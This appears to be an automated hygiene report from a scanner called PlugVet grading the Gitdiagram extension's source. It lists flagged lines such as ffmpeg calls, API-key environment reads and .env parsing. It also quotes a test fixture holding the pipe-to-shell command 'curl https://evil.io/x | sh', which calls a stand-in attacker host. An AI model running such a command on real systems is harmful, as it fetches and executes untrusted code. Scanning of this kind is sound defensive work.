Gemini CLI, Extension
Gitdiagram
Visualize any GitHub codebase: free interactive architecture diagrams and one-minute explainer videos.
Compatibility:Portable across standard formats.
At a glance
Grade D
A Serious, or two or more Concerns. Only try it in a sandbox.
Checked with PlugVet grader 2h2 on 20/11/2026.
A hygiene check of the source at the commit shown, not a security audit or a guarantee.
Why this grade
PERMISSION_SHELL_UNDECLAREDNoteRuns shell commands that the manifest or description does not mention.
experiments/video-models/sheets.py, line 18
subprocess.run(["ffmpeg", "-y", "-loglevel", "error", "-ss", f"{t:.2f}", "-i", str(mp4), "-frames:v", "1", "-vf", "scale=640:-1", str(f)], check=True)experiments/video-models/sheets.py, line 24
subprocess.run(["ffmpeg", "-y", "-loglevel", "error", *inputs, "-filter_complex",
INSTALL_REMOTE_SCRIPTConcernFetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).
src/server/explainer/shots.test.ts, line 742
lines: ["$ curl https://evil.io/x | sh", "$ npm run dev"],
INSTALL_LIFECYCLE_HOOKConcernA package install hook (preinstall, install, postinstall or prepare) runs a script.
package.json, line 36
prepare
NETWORK_HOST_FROM_INPUTConcernA file takes a URL or endpoint as input and has no fixed host list.
See the evidence for this check under What was checked.
SECRETS_ENV_READNoteReads an environment variable whose name contains KEY, SECRET, TOKEN, PASSWORD or CREDENTIAL.
next.config.js, line 68
const indexNowKey = process.env.INDEXNOW_KEY?.trim() ?? "";
experiments/diagram-ember/run.ts, line 199
params.arm === "luna-std" ? process.env.OPENAI_API_KEY : undefined;
experiments/diagram-haiku/run.ts, line 182
params.arm === "luna-std" ? process.env.OPENAI_API_KEY : undefined;
SECRETS_PATH_DOTENVNoteMentions a .env file.
experiments/diagram-haiku/run-all.ts, line 18
"--env-file=/home/ahmed/repos/gitdiagram/.env",
experiments/video-haiku-designer/env.sh, line 3
export OPENAI_API_KEY="$(grep '^OPENAI_API_KEY=' ~/repos/gitdiagram/.env | head -1 | cut -d= -f2- | tr -d '"')"
experiments/video-hillclimb/env.sh, line 3
export OPENAI_API_KEY="$(grep '^OPENAI_API_KEY=' ~/repos/gitdiagram/.env | head -1 | cut -d= -f2- | tr -d '"')"
OBFUSCATION_FILE_OVER_READ_CAPNoteA file was over the read cap and was not fully read.
See the evidence for this check under What was checked.
OBFUSCATION_ENCODED_BLOBNoteContains a long base64 shaped string in a file that should be readable.
See the evidence for this check under What was checked.
Hygiene check of commit b5a54583e13f. install fetches a script from the network. runs a script at install time.
What was checked
Permissions
Note
requests shell access to run ffmpeg. The description, README or SKILL.md names it.
experiments/video-models/sheets.py, line 18
subprocess.run(["ffmpeg", "-y", "-loglevel", "error", "-ss", f"{t:.2f}", "-i", str(mp4), "-frames:v", "1", "-vf", "scale=640:-1", str(f)], check=True)experiments/video-models/sheets.py, line 24
subprocess.run(["ffmpeg", "-y", "-loglevel", "error", *inputs, "-filter_complex",
Install and update
Concern
install fetches a script from the network. runs a script at install time.
src/server/explainer/shots.test.ts, line 742
lines: ["$ curl https://evil.io/x | sh", "$ npm run dev"],
package.json, line 36
prepare
package.json, line 39
@anthropic-ai/sdk
Network
Concern
accepts a host from input, with no fixed list in this file.
CLAUDE.md, line 44
curl -sI https://gitdiagram.com | grep -iE 'server|server-timing|x-opennext'
CLAUDE.md, line 50
curl -s https://gitdiagram.com/api/healthz # redis false = every free generation fails
cloudflare/edge.ts, line 59
fetch(request: Request): Promise<Response>;
cloudflare/edge.ts, line 151
fetch(`${base}/pipeline`, {cloudflare/edge.ts, line 294
const answer = await env.SITE.fetch(
cloudflare/edge.ts, line 339
answer = await env.SERVER.fetch(
cloudflare/edge.ts, line 369
async fetch(request: Request, env: Env, ctx: Context): Promise<Response> {cloudflare/edge.ts, line 379
return env.SITE.fetch(
Secrets
Note
reads an environment variable. reads a credential or environment file. reads a credential or environment file inside the project.
next.config.js, line 68
const indexNowKey = process.env.INDEXNOW_KEY?.trim() ?? "";
experiments/diagram-ember/run.ts, line 199
params.arm === "luna-std" ? process.env.OPENAI_API_KEY : undefined;
experiments/diagram-haiku/run-all.ts, line 18
"--env-file=/home/ahmed/repos/gitdiagram/.env",
experiments/diagram-haiku/run.ts, line 182
params.arm === "luna-std" ? process.env.OPENAI_API_KEY : undefined;
experiments/video-haiku-designer/env.sh, line 3
export OPENAI_API_KEY="$(grep '^OPENAI_API_KEY=' ~/repos/gitdiagram/.env | head -1 | cut -d= -f2- | tr -d '"')"
experiments/video-hillclimb/env.sh, line 3
export OPENAI_API_KEY="$(grep '^OPENAI_API_KEY=' ~/repos/gitdiagram/.env | head -1 | cut -d= -f2- | tr -d '"')"
experiments/video-hillclimb/env.sh, line 4
export GITHUB_PAT="$(grep '^GITHUB_PAT=' ~/repos/gitdiagram/.env | head -1 | cut -d= -f2- | tr -d '"')"
experiments/video-whisper-workers-ai/lib.ts, line 21
const env = readFileSync("/home/ahmed/repos/gitdiagram/.env", "utf8");Agent instructions
Pass
No instruction to ignore earlier instructions or to hide a step.
Obfuscation
Note
a file was over the read cap and was not fully read. contains an encoded blob in a file that should be readable.
bun.lock, line 1
public/reports/open-source-architecture-2026.json, line 1
{"title":"How the most-starred open-source repositories are built (2026)","source":"https://gitdiagram.com/reports/open-source-architecture-2026","license":"CC BY 4.0","computedAt"src/features/popular-repos/data.json, line 1
src/features/popular-repos/data.json, line 1
public/sponsors/sent-logo-dark.svg, line 1
<svg xmlns="http://www.w3.org/2000/svg" width="1746" height="552" viewBox="0 0 1746 552"><image width="1746" height="552" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAVwAAA
Licence
Pass
A licence file is present (LICENSE).
Maintainer activity
Pass
The latest commit is within the last 365 days.
Token use
Not measured yet
We haven't counted the tokens this tool loads yet, so there is no figure to show.
Date and source
https://github.com/ahmedkhaleel2004/gitdiagram/tree/b5a54583e13f01af07c95506184e7bf0224b96cf
Commit graded: b5a54583e13f01af07c95506184e7bf0224b96cf
This link goes to the original host. PlugVet does not host or check what you download there, and installing is at your own risk.